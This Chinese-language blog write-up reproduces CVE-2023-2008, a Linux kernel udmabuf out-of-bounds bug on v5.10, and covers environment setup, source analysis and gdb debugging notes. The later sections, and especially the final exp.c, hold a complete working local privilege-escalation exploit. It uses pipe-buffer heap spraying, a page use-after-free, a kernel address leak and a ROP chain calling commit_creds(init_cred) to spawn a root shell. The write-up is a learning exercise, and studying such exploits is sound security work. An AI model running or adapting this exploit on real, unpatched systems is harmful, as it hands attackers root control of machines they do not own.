环境搭建

1724825793460

commit:2c85ebc57b3e1817b6ce1a6b703928e113a90442

总的config:

defconfig+menuconfig

1724825801926

1723725116243

1723725011064

1723774430253

1
2
3
4
5
6
CONFIG_CONFIGFS_FS=#支持img
CONFIG_SECURITYFS=y   #支持img
CONFIG_DEBUG_INFO=#调试
CONFIG_USER_NS=y   #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_DMABUF=y #支持udmabuf

(同样是修改了objtool的一个代码)

此外还需要在init脚本中给普通用户赋一个可以打开/dev/udmabuf文件的权限

然后需要没有cg隔离,复现版本v5.10.0刚好不存在cg隔离;(笔者在复现时尽量认为是隔离的,不使用这一特性,本cve比较特殊,需要用到pipe)

漏洞分析

1723773759920

在分配dmabuf的时候,内核会调用 dma_buf_export函数,其中传入一个dma_buf_export_info结构体来传递相关参数信息,该结构体的定义如下:

1
2
3
4
5
6
7
8
9
struct dma_buf_export_info {
    const char *exp_name;
    struct module *owner;
    const struct dma_buf_ops *ops;
    size_t size;
    int flags;
    struct dma_resv *resv;
    void *priv;
};

dma_buf_export函数内容大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct dma_buf *dma_buf_export(const struct dma_buf_export_info *exp_info)
{
    ...
  
[1] dmabuf = kzalloc(alloc_size, GFP_KERNEL);
    if (!dmabuf) {
        ret = -ENOMEM;
        goto err_module;
    }
  
    dmabuf->priv = exp_info->priv;
    dmabuf->ops = exp_info->ops;
    dmabuf->size = exp_info->size;
    dmabuf->exp_name = exp_info->exp_name;
    dmabuf->owner = exp_info->owner;
        ...[2]  file = dma_buf_getfile(dmabuf, exp_info->flags);
    if (IS_ERR(file)) {
        ret = PTR_ERR(file);
        goto err_dmabuf;
    }
  
    file->f_mode |= FMODE_LSEEK;
[3] dmabuf->file = file;
  
        ...
    return dmabuf;

之后还会调用dma_buf_fd等和文件相关的操作,最后返回给我们一个文件描述符;

当然我们重点要关注这里有一个分配页面空间的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuf = kzalloc(sizeof(*ubuf), GFP_KERNEL);
if (!ubuf)
    return -ENOMEM;
  
/* calculate number of pages */
pglimit = (size_limit_mb * 1024 * 1024) >> PAGE_SHIFT;
for (i = 0; i < head->count; i++) {
    ubuf->pagecount += list[i].size >> PAGE_SHIFT;
    if (ubuf->pagecount > pglimit)
        goto err;
}
  
/* allocate array of page pointers */
ubuf->pages = kmalloc_array(ubuf->pagecount, sizeof(*ubuf->pages),
                    GFP_KERNEL);
if (!ubuf->pages) {
    ret = -ENOMEM;
    goto err;
}

如上述代码所示,这里给pages分配了一个指针数组,请记住,后边这里会出现漏洞;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
for (i = 0; i < head->count; i++)
{
    ret = -EBADFD;
    memfd = fget(list[i].memfd);
    if (!memfd)
        goto err;
    if (!shmem_mapping(file_inode(memfd)->i_mapping))
        goto err;
    seals = memfd_fcntl(memfd, F_GET_SEALS, 0);
    if (seals == -EINVAL)
        goto err;
    ret = -EINVAL;
  
    /* make sure file can only be extended in size but not reduced */
    if ((seals & SEALS_WANTED) != SEALS_WANTED ||
            (seals & SEALS_DENIED) != 0)
        goto err;
  
    pgoff = list[i].offset >> PAGE_SHIFT;
    pgcnt = list[i].size   >> PAGE_SHIFT;
  
    for (pgidx = 0; pgidx < pgcnt; pgidx++) {
        /* lookup the page */
        page = shmem_read_mapping_page(
            file_inode(memfd)->i_mapping, pgoff + pgidx);
        /* add the page to the array */
        ubuf->pages[pgbuf++] = page;
    }
    fput(memfd);
    memfd = NULL;
}

这里我们需要注意的是dmabuf有一个ops成员,这是一个函数表,上面有若干函数指针:

1723774073673

当我们对dmafd调用mmap时就会调用到mmap_udmabuf函数,下面我们简单看其代码:

1723774808029

1723774995044

总的来看就是我们可以在kmalloc分配的obj上越界写内核地址;

几个前置知识

memfd_create

1723776501799

ftruncate

1723776558530

memfd_create+udmabuf

在使用 udmabuf 设备之前,需要先使用 memfd_create 创建一个内存文件,然后才能创建 DMA buffer(dmabuf)。这是因为 memfd_createudmabuf 的组合提供了一种机制,将用户空间内存区域转换为可用于 DMA(直接内存访问)操作的缓冲区。以下是这种操作顺序的原因及其背后的机制。

1. memfd_create 提供匿名共享内存

  • memfd_create 用于创建一个匿名的、基于内存的文件,这个文件存在于内存中,而不是存储在磁盘上。
  • 创建的内存文件可以通过文件描述符(file descriptor, FD)进行访问,并支持类似文件的操作(如 mmapwriteread)。
  • 内存文件提供了一块用户空间的内存区域,可以安全地共享和管理。这对于在多个进程之间共享数据或跨设备传递内存数据非常有用。

2. udmabuf 将内存文件转换为 DMA 缓冲区

  • udmabuf 是一个 Linux 驱动程序,它的主要功能是将一个用户空间的内存区域(通常是通过 memfd_create 创建的内存文件)转换为可以供 DMA 使用的缓冲区。
  • 当你通过 memfd_create 创建内存文件后,你得到一个文件描述符,这个描述符引用了一个匿名的、驻留在内存中的文件。
  • 这个文件描述符然后被传递给 udmabufudmabuf 设备将这个内存文件映射为 DMA 缓冲区。这样,内核中的 DMA 引擎(或其他硬件设备)就可以直接访问这块内存。

udmabuf使用接口

预定义:

1
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)

memfd_create及其相关处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
  if (mem_fd < 0)
    errx(1, "couldn't create anonymous file");
   
  /* setup size of anonymous file, the initial size was 0 */
  if (ftruncate(mem_fd,0x1000 * 8) < 0)
    errx(1, "couldn't truncate file length");
 
  /* make sure the file cannot be reduced in size */
  if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)
    errx(1, "couldn't seal file");
 
  printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * 8);

打开设备文件:

1
2
3
4
5
int dev_fd = open("/dev/udmabuf", O_RDWR);
  if (dev_fd < 0)
    errx(1, "couldn't open device");
 
  printf("[*] udmabuf device fd=%d\n", dev_fd);

然后通过设备文件获取一个udmabuf:

1
2
3
4
5
6
7
8
9
10
struct udmabuf_create create = { 0 };
   create.memfd = mem_fd;
   create.size  = PAGE_SIZE * N_PAGES_ALLOC;
   
   /* reallocate one of the freed holes in kmalloc-1024 */
   int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);
   if (udmabuf_fd < 0)
     errx(1, "couldn't create udmabuf");
 
   printf("[*] udmabuf fd=%d\n", udmabuf_fd);

通过mmap进行映射:

1
2
3
4
5
6
7
void* udmabuf_map = mmap(NULL, PAGE_SIZE * N_PAGES_ALLOC,
       PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);
   if (udmabuf_map == MAP_FAILED)
     errx(1, "couldn't map udmabuf");
 
   printf("[*] udmabuf mapped at %p (%#x bytes)\n",
       udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC);

通过mremap进行扩展:

1
2
3
4
5
6
7
8
/* remap the virtual mapping expanding its size */
    void* new_udmabuf_map = mremap(udmabuf_map,
        PAGE_SIZE * N_PAGES_ALLOC, PAGE_SIZE * N_PAGES_ALLOC * 2, MREMAP_MAYMOVE);
    if (new_udmabuf_map == MAP_FAILED)
      errx(1, "couldn't remap udmabuf mapping");
 
    printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,
        PAGE_SIZE * N_PAGES_ALLOC * 2);

原因深入分析

笔者在写这部分的时候已经完全复现成功该漏洞;

依据复现过程来看,似乎是dmabuf一经创建就会在其数组中写入若干个内核地址,然后mmap时会与用户空间进行映射,而mremap似乎并没有对这个数组做任何处理,仅仅是放宽了边界条件,使得我们访问的时候不算越界;导致我们越界访问的时候会自动读取数组下面的非法数据作为page_struct;

那么问题来了,这个dma访问内存是否还是一句页表呢?看起来这个访问映射似乎与页表逻辑是不相符的;那么ops函数表中的函数对mmap到底是怎么处理的呢?

源代码路径:

1
https://elixir.bootlin.com/linux/v5.10/source/drivers/dma-buf/udmabuf.c

1723807768929

mmap的操作很简单,就是简单的赋值;

笔者个人感觉是,最开始分配了一些内存(分配物理页,但是要用虚拟地址管理),mmap的时候只分配虚拟地址,并在页表项中设置,到时候第一次访问就会走udmabuf_vm_fault进行物理内存的映射:

1723808264081

所以可能是mmap写了多少项页表,我们才能访问多少项,这个限制了越界,而mremap则是只修改了页表项,没有扩展这个数组;

漏洞复现

这个kmalloc_array函数是在udmabuf_create函数中被调用的,且在内核中被调用的次数比较少,我们可以直接下断点:

1723778363371

笔者先分配dmabuf、然后喷射内核密钥,之后再扩展dmabuf,似乎并没有越界写内核地址:

1723779295835

1723779493498

似乎可以写入一个内存地址实现USMA攻击?

1723779857410

这个pages所指向的应该是page_struct结构体;

我们可以在创建dmabuf之后喷射pipe并set_size,(本环境下没有cg隔离)这样dmabuf下面就会出现一个pipe的page_struct结构体,我们就有了使用用户态地址读写pipe的page的能力了,然后我们将对应的pipe关闭,那么这个page就会被释放掉;

现在我们有了一个能够制作UAF-page的能力,但是应该如何将这个page申请出来呢?

pipe页未成功释放原因探究

经过调试发现,是因为我们的pipe->ops这个函数表为空,导致了无法成功释放我们的page;

笔者在gdb中将其手动修改之后即可成功命中:

1723792548217

而直接调试发现,我们命中的pipe_buffer一开始是有ops的:

1723792870427

然而到了release的时候这个ops指针就被清空了:

1723792927462

这不得不让笔者想起来之前有一个pipe_read,这个read似乎也调用了一些类似的函数

果然,==如果不读这个pipe,我们的ops就仍然存在==;

现在仍然回到了原来无法重用的问题,继续探究,最终发现是目标物理页的refcount是2,导致close之后没有成功将其free掉;为什么会是2呢?

终于找到了原因,我们==利用dma首次读取该页内容会导致该页的引用计数增加==:

1723794394052

所以不能通过读dma来获取命中的id,必须盲测;

问题最终得到解决:

我们不对pipe set_size了,就用原来的四则,此时要求我们的dmabuf的个数分别为初始的0x80和扩展后的0x100,然后我们给每个pipe写入超过0x1000字节的数据,用dmabuf越界读pipe的第二个页用来泄露idx,然后再用第一个页作为命中用;

我们关闭命中的pipe之后,set_size,可以成功将释放的物理页喷射出来,然后作为某一个pipe_buffer:

1723796483476

至此,我们有了任意读写pipe_buffer的能力了!

LEAK

此时我们可以通过读pipe_buffer中的内容,泄露page_struct的地址和内核代码段的地址;

如果还能有一个可控的内核堆地址,我们就可以利用pipe_buffer劫持控制流进而提权了;

其实也可以利用dirty_pipe直接进行攻击;(但是笔者内核版本有点低,本身就有dirty-pipe,这样似乎有点不雅观。。。)

本来还想用seq_file的,但是太浪费文件描述符了,命中率很低;

可以构造两次cve的利用,想用pg_vec,但是无奈pg_vec使用太多物理页了,我们释放的物理页一不小心就成了pg_vec映射的物理页了,根本没机会用来构造pg_vec;

其实我们只需要有个结构能够泄露一个我们可控的地址就行了;

栈迁移

1723800920877

KPTI

1723804001179

调试命令

1
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "c"
1
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "b *(0xffffffff816b434e)"  -ex "c"

攻击成功

1723804862343

收获总结

  1. pipe制造UAF页调试关键看refcount;(包括之前的多进程共享pipe,也一定是导致了refcount的增加)

参考

1
https://github.com/bluefrostsecurity/CVE-2023-2008/blob/main/exp.c
1
https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html

FINAL-EXP

exp.c

pg_vec.h

page.h

key.h

msg.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
 
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
 
void get_root_shell(){
    printf("now pid == %p\n", getpid());
    system("/bin/sh");
}
 
//CPU绑核
void bindCore(int core)
{
    cpu_set_t cpu_set;
 
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
 
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
#include <sys/mman.h>
#include <sys/syscall.h>
#include "pg_vec.h"
#include "page.h"
 
 
struct udmabuf_create
{
  uint32_t memfd;
  uint32_t flags;
  uint64_t offset;
  uint64_t size;
};
 
#include "key.h"
int kids[0x100];
void spray_key(int times, int len, char *con){
    char des[0x100];
    memset(des, 0, sizeof(des));
    char pay[0x100];
    memset(pay, 0, sizeof(pay));
    for(int i = 0; i < times; i++){
        memset(des, 'A'+i, 0xa0);
        memset(pay, 'a'+i, len);
        memcpy(pay, con, len);
        kids[i] = key_alloc(des, pay, len);
        printf("kid == %d\n", kids[i]);
    }
}
int pipe1[0x200][2];
void spray_pipe(int times, int start){
    for(int i = 0; i < times; i++){
      if(pipe(pipe1[start+i]) < 0){
        perror("create pipe");
        exit(-1);
      }
      //printf("pipe_fd --> %d, %d\n", pipe1[start+i][0], pipe1[start+i][1]);
    }
}
 
#define TOTAL_PAGES 0x200
size_t data[0x1000];
#define FIRST_NUM 0x80
#define SECOND_NUM 0x200
 
#include "msg.h"
void spray_msg(char *con){
    int kmsg_idx;
    int ms_qid[0x100];
       char msg_buf[0x2000];
    for (int i = 0; i < 0x30; i++)
    {
        ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (ms_qid[i] < 0)
        {
            puts("[x] msgget!");
            return -1;
        }
    }
     
    for (int i = 0; i < 0x30; i++)
    {
        memset(msg_buf, 'A', 0x1800 - 8);
        int ret = msgsnd(ms_qid[i], con, 0x1800 - 0x30-0x8, 0);
        if (ret < 0)
        {
            puts("[x] msgsnd!");
            return -1;
        }
    }
 
 
}
 
size_t kbase ;
int pipe_fd;
size_t add_rsp_0xb8_pop2;
size_t pop_rbp_ret;
size_t leave_ret;
size_t fake_stack;
 
int main(){
     
    save_status();
    bindCore(0);
 
    unshare_setup();
    page_init();
 
    int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
  if (mem_fd < 0)
    errx(1, "couldn't create anonymous file");
   
  /* setup size of anonymous file, the initial size was 0 */
  if (ftruncate(mem_fd,0x1000 * FIRST_NUM) < 0)
    errx(1, "couldn't truncate file length");
 
  /* make sure the file cannot be reduced in size */
  if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)
    errx(1, "couldn't seal file");
 
  printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * FIRST_NUM);
 
 
    int dev_fd = open("/dev/udmabuf", O_RDWR);
    if (dev_fd < 0)
        errx(1, "couldn't open device");
 
    printf("[*] udmabuf device fd=%d\n", dev_fd);
 
     struct udmabuf_create create = { 0 };
    create.memfd = mem_fd;
    create.size  = 0x1000 * FIRST_NUM;
     
    /* reallocate one of the freed holes in kmalloc-1024 */
    int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);
    if (udmabuf_fd < 0)
      errx(1, "couldn't create udmabuf");
 
    printf("[*] udmabuf fd=%d\n", udmabuf_fd);
 
    spray_pipe(0x100, 0x0);
    memset(data, 'a', 0x1000);
    for(int i = 0; i < 0x100; i++) {
        write(pipe1[i][1], data, 0x1000);
        write(pipe1[i][1], &i, 0x4);
    }
    puts("spray pipe done");
 
    void* udmabuf_map = mmap(NULL, 0x1000 * FIRST_NUM,
        PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);
    if (udmabuf_map == MAP_FAILED)
      errx(1, "couldn't map udmabuf");
 
    printf("[*] udmabuf mapped at %p (%#x bytes)\n",
        udmabuf_map, 0x1000 * FIRST_NUM);
 
    /* remap the virtual mapping expanding its size */
    void* new_udmabuf_map = mremap(udmabuf_map,
        0x1000 * 8, 0x1000 * SECOND_NUM, MREMAP_MAYMOVE);
    if (new_udmabuf_map == MAP_FAILED)
      errx(1, "couldn't remap udmabuf mapping");
 
    printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,
        0x1000 * SECOND_NUM);
     
    int victim_idx = -1;
    memcpy(&victim_idx, new_udmabuf_map+FIRST_NUM*0x1000+0x5000, 4);
    printf("victim_idx == %d\n", victim_idx);
     
    int vic2 = -1;
    memcpy(&vic2, new_udmabuf_map+FIRST_NUM*2*0x1000+0x5000, 4);
    printf("vic2 == %d\n", vic2);
    if(victim_idx == -1 || vic2 == -1) exit(0);
 
    //read(pipe1[victim_idx][0], data, 4);
    close(pipe1[victim_idx][0]);
    close(pipe1[victim_idx][1]);
    puts("sleep for 2 second ...");
    sleep(2);
 
    for(int i = 0; i < 0x100; i++){
        if(i == victim_idx) continue;
        if(i == vic2) continue;
        if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){
            printf("%d--%d\n", i, pipe1[i][1]);
            perror("set pipe size error!");
            exit(-1);
        }
 
    }
 
    memcpy(data, new_udmabuf_map+FIRST_NUM*0x1000, 0x1000);
    for(int i = 0; i < 0x200; i++){
      //printf("data -> %p\n", (void *)data[i]);
    }
    size_t page_struct = data[0];
    kbase = data[2] - 0xffffffff82019a40;
    printf("kbase == %p\n", (void *)kbase);
    add_rsp_0xb8_pop2 = kbase + 0xffffffff81078d6b;
 
 
 
    close(pipe1[vic2][0]);
    close(pipe1[vic2][1]);
    puts("sleep for 2 second ...");
    sleep(2);
 
    leave_ret = kbase + 0xffffffff8107bd3c;
    pop_rbp_ret = kbase + 0xffffffff81000688;
    size_t init_cred = kbase + 0xffffffff8244c6c0;
    size_t pop_rdi_ret = kbase + 0xffffffff81422e9c;
    size_t commit_creds = kbase + 0xffffffff8108a190;
    size_t ret = kbase + 0xffffffff81422e9d;
    size_t kpti = kbase + 0xffffffff81c00e06;
 
    int k = 0;
    //构造fake_ops
    memset(data, 'a', sizeof(data));
    data[k++] = 0x1234567812345678;
    data[k++] = add_rsp_0xb8_pop2;
    data[k++] = add_rsp_0xb8_pop2;
    data[k++] = add_rsp_0xb8_pop2;
    data[k++] = ret;
    data[k++] = ret;
    data[k++] = pop_rdi_ret;
    data[k++] = init_cred;
    data[k++] = commit_creds;
    data[k++] = kpti;
    data[k++] = 0LL;
    data[k++] = 0LL;
    data[k++] = get_root_shell;
    data[k++] = user_cs;
    data[k++] = user_rflags;
    data[k++] = user_sp;
    data[k++] = user_ss;
    //构造fake_stack
 
    spray_msg(data);
 
    memcpy(data, new_udmabuf_map+FIRST_NUM*2*0x1000, 0x1000);
    size_t fake_ops = -1;
    for(int i = 0; i < 0x200; i++){
      //printf("data -> %p\n", (void *)data[i]);
      if(data[i] >= 0xffff888000000000 && data[i] % 0x1000 == 0){
        fake_ops = data[i] + 0x30;
        break;
      }
    }
    printf("fake_ops == %p\n", (void *)fake_ops);
 
    char *pipe_buffer = new_udmabuf_map+FIRST_NUM*0x1000;
    data[0] = page_struct;
    data[1] = 0x100000000000;
    data[2] = fake_ops;
    memcpy(pipe_buffer, data, 0x18);
 
    fake_stack = fake_ops + 0x20;
    printf("fake_stack == %p\n", (void *)fake_stack);
 
    for(int i = 0; i < 0x100; i++){
        if(i == victim_idx) continue;
        if(i == vic2) continue;
        pipe_fd = pipe1[i][0];
        __asm__(
            "mov rdi, pipe_fd;"
            "mov rsi, 0;"
            "mov rdx, 8;"
            "mov r15, pop_rbp_ret;"
            "mov r14, fake_stack;"
            "mov r13, leave_ret;"
            "mov r12, 0xcccccccc;"
            "mov r11, 0xbbbbbbbb;"
            "mov r10, 0xaaaaaaaaa;"
            "mov r9,  0x99999999;"
            "mov rax, 3;"
            "syscall;"
 
        );
        pipe_fd = pipe1[i][1];
        __asm__(
            "mov rdi, pipe_fd;"
            "mov rsi, 0;"
            "mov rdx, 8;"
            "mov r15, pop_rbp_ret;"
            "mov r14, fake_stack;"
            "mov r13, leave_ret;"
            "mov r12, 0xcccccccc;"
            "mov r11, 0xbbbbbbbb;"
            "mov r10, 0xaaaaaaaaa;"
            "mov r9,  0x99999999;"
            "mov rax, 3;"
            "syscall;"
 
        );
    }
 
    puts("end");
    getchar();
}

参考

bluefrostsecurity/CVE-2023-2008: Proof of concept code for CVE-2023-2008 (github.com)

CVE-2023-2008 - Analyzing and exploiting a bug in the udmabuf driver | Bluefrostsecurity